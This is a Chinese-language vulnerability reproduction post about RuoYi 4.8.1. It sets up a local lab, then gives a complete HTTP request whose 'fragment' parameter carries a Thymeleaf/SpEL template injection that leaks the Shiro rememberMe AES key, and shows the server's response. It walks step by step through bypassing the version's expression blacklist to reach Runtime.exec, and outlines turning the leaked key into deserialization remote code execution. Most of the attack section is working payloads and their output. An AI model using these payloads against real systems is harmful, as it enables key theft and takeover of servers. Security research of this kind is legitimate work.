参考文章:#
若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE(全JAVA版本绕过,附带POC)
https://mp.weixin.qq.com/s/4yi0UOTgBCsGK6J8qSz8tQ
某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw
环境搭建#
源码:
https://github.com/yangzongzhuan/RuoYi/releases
参考文档:RuoYi-4.8.1\doc\若依环境使用手册.docx
导入数据库

修改数据库配置:RuoYi-4.8.1\ruoyi-admin\src\main\resources\application-druid.yml

服务器端口:RuoYi-4.8.1\ruoyi-admin\src\main\resources\application.yml

启动若依

默认密码为 admin/admin123

漏洞复现#
POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cookie: JSESSIONID=3e7df59c-7b52-4b63-9828-d1a60bcf62e2; rememberMe=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
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1/monitor/job
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
|

1
2
3
4
5
6
7
| HTTP/1.1 200
Content-Type: text/html; charset=ISO-8859-1
Content-Language: zh-CN
Date: Sat, 07 Mar 2026 02:24:08 GMT
Content-Length: 25
CEuLWXvwpGKpptw3aVUvQg==
|
shiro 利用


漏洞分析#
漏洞点#
RuoYi-4.8.1\ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java
1
2
3
4
5
6
7
| @RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
|

用户在 http://localhost:80/monitor/cache/getNames 接口处 POST 传入的 <font style="color:#080808;background-color:#ffffff;">fragment</font> 参数,被直接拼接到 Thymeleaf 模板路径中,<font style="color:#080808;background-color:#ffffff;">return</font>返回结果使用 Thymeleaf 片段语法(::)拼接
Thymeleaf片段语法格式为:前缀 + "/cache::" + 片段名
1
| return prefix + "/cache::" + fragment;
|

攻击者通过 fragment 参数注入 SpEL 表达式,Thymeleaf 在解析视图名时会自动执行
通过<font style="color:rgba(0, 0, 0, 0.9);">__|$${表达式}|__::.x</font> 该格式可进行绕过,先来试验一下:
1
| fragment=__|$${#response.getWriter().print('111')}|__::.x
|

关于 payload 的构造可以看 https://mp.weixin.qq.com/s/4yi0UOTgBCsGK6J8qSz8tQ 这篇文章,讲解十分详细
最新版本中禁用的语法:
- ❌
<font style="color:rgba(0, 0, 0, 0.9);">T(java.lang.Runtime)</font>(类型引用) - ❌
<font style="color:rgba(0, 0, 0, 0.9);">new java.io.File()</font>(对象实例化) - ❌
<font style="color:rgba(0, 0, 0, 0.9);">T ()</font>(带空格的类型引用) - ❌
<font style="color:rgba(0, 0, 0, 0.9);">param</font>(参数引用)
通过链式调用是可以成功执行的,因此表达式格式可以使用方法链式调用。之前的利用链不可用,经过查找,发现可以在<font style="color:rgba(0, 0, 0, 0.9);">SecurityManager</font> 中获取 getRuntime 方法,根据之前payload的调用方法,构造出以下利用链:
获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令
那么构造出如下利用链:
1
| fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x
|
直接500报错,那么为什么这个链看起来是正常的却不能执行?

先一步一步来,一点一点删除调用的方法,直到删除到<font style="color:rgba(0, 0, 0, 0.9);">loadClass('java.lang.Runtime')</font> 这个地方成功输出。
1
| fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime'))}|__::.x
|

看来是有某个安全监测机制不让获取getRuntime方法,那么还有机会能绕过吗?有的。在 SpEL 中,对于无参数的方法调用,括号 () 是可选的,<font style="color:rgba(0, 0, 0, 0.9);">getMethods()</font>和<font style="color:rgba(0, 0, 0, 0.9);">getMethods</font>作用是一样的,那么试一下把括号去掉是否报错。没有报错,成功获取到getRuntime方法
1
| fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0])}|__::.x
|

那现在继续调试上面完整的利用链。现在只获取到了方法,但是没反射调用,
1
| fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0])}|__::.x
|

由于获取到的是第一个exec方法,在查找当前exec方法的用法后,构造以下利用链:
1
| fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
|
等价于<font style="color:rgba(0, 0, 0, 0.9);">Runtime.exec(Runtime.getRuntime,"calc");</font>,意思就是执行 <font style="color:rgba(0, 0, 0, 0.9);">Runtime.getRuntime</font> 中的 <font style="color:rgba(0, 0, 0, 0.9);">exec</font>方法

Payload 解析#
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
拼接后完整视图名变为:monitor/cache/cache::__|${...SpEL...}|__::.x
第一层:__|${...SpEL表达式...}|__::.x
Thymeleaf 预处理标记,__...__ 之间的内容会在视图解析之前先被预处理执行
|...| 是 Thymeleaf 的字面量替换语法,${...} 内部为 SpEL 表达式
伪造一个不存在的片段名 .x,使其符合 模板::片段 的语法格式,否则解析会报错
第二层:#response.getWriter().print(...)
#response Thymeleaf 上下文中内置的 HttpServletResponse 对象
.getWriter() 获取响应的 PrintWriter,可以直接向 HTTP 响应体写内容
.print(...) 将结果直接写入 HTTP 响应,攻击者在响应中就能看到输出
**第三层: **@securityManager.rememberMeManager.cipherKey
@securityManager SpEL 的 @beanName 语法,从 Spring 容器中按名称获取 Bean。RuoYi 使用 Shiro,会注册一个名为 securityManager 的 Bean
.rememberMeManager 获取 Shiro SecurityManager 中的 RememberMe 管理器(CookieRememberMeManager)
.cipherKey 获取 RememberMe 功能使用的 AES 加密密钥(byte[] 类型)
第四层:
因为 cipherKey 是 byte[],直接 print 会乱码,所以需要 Base64 编码:
1
2
3
4
5
| ''.getClass()
.forName('java.util.Base64') // 反射加载 Base64 类
.getMethod('getEncoder') // 获取静态方法 getEncoder()
.invoke(null) // 调用静态方法,返回 Base64.Encoder
.encodeToString(cipherKey) // 将 byte[] 编码为可读字符串
|
漏洞链:泄露 Shiro Key → 反序列化 RCE#
泄露的密钥是 Shiro RememberMe Cookie 的 AES 加密密钥。攻击者拿到此密钥后:
使用 ysoserial 等工具生成恶意 Java 反序列化 payload
用泄露的 AES Key 加密该 payload
作为 rememberMe Cookie 发送
Shiro 解密 → 反序列化 → 远程代码执行(RCE)